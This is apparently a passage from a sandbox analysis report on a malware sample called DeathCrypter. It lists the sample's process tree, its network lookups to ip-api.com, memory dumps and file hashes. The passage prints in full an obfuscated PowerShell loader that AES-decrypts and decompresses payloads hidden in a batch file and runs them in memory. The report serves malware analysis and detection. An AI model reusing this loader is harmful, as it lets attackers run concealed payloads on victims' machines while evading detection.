'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

C:\Windows\system32\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat" "

C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe

"C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kGHinQ79UkF9r+tuo/CjrBrZV+MXdja5YdUtk0ihi64='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('303KSumhAOwl+H8eZdZWMQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QnNmF=New-Object System.IO.MemoryStream(,$param_var); $zyqXV=New-Object System.IO.MemoryStream; $DhAXC=New-Object System.IO.Compression.GZipStream($QnNmF, [IO.Compression.CompressionMode]::Decompress); $DhAXC.CopyTo($zyqXV); $DhAXC.Dispose(); $QnNmF.Dispose(); $zyqXV.Dispose(); $zyqXV.ToArray();}function execute_function($param_var,$param2_var){ $qvAaV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IrdKD=$qvAaV.EntryPoint; $IrdKD.Invoke($null, $param2_var);}$sNNem = 'C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat';$host.UI.RawUI.WindowTitle = $sNNem;$GQSoU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($sNNem).Split([Environment]::NewLine);foreach ($pSNpQ in $GQSoU) { if ($pSNpQ.StartsWith('kxXxWsMoTNZTGgOQLuIn')) { $WGRDh=$pSNpQ.Substring(20); break; }}$payloads_var=[string[]]$WGRDh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

Network

Country Destination Domain Proto
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 208.95.112.1:80 ip-api.com tcp
US 208.95.112.1:80 ip-api.com tcp

Files

memory/1460-0-0x000007FEF5773000-0x000007FEF5774000-memory.dmp

memory/1460-1-0x0000000000E80000-0x0000000001898000-memory.dmp

memory/1460-2-0x000007FEF5770000-0x000007FEF615C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat

MD5 9a3a9a5ba169eda2919b26e78abe3718
SHA1 ef2136796b2f2c88a9826968e14a72d34faff667
SHA256 2c7178b4b84c0c6c8e16495b665aa5f1ed22982e13fe1769feada527be6caefe
SHA512 e0a70678715e4a8679673b1a99c2850769a34a00803f8ba25b40651c557fe770af94a5c60bdb4c33c33e664d3f4cd029e0e63ecb3c8ccd49a2d508dc92f43829

memory/2580-12-0x000007FEF5770000-0x000007FEF615C000-memory.dmp

memory/2972-17-0x000000001B680000-0x000000001B962000-memory.dmp

memory/2972-18-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

memory/1460-19-0x000007FEF5770000-0x000007FEF615C000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 e8421fdd24f5684fc44e16c1f664b4d6
SHA1 1ba08c5889516be6c775fda7fdf1706e810da071
SHA256 35bb3fb823017d77f549f24cd0e3a8eec6791eacdcb22e007eafde84d4d6d9cb
SHA512 d0db1449d1f5478bac0e4212c7f91e70bf57032e598d9d7a1b5e56d0282953dfedf0aa703242f4115c5f981af0c6b54e9d14045c1fb3f3068daa669aa2f9f530

memory/2580-34-0x000007FEF5770000-0x000007FEF615C000-memory.dmp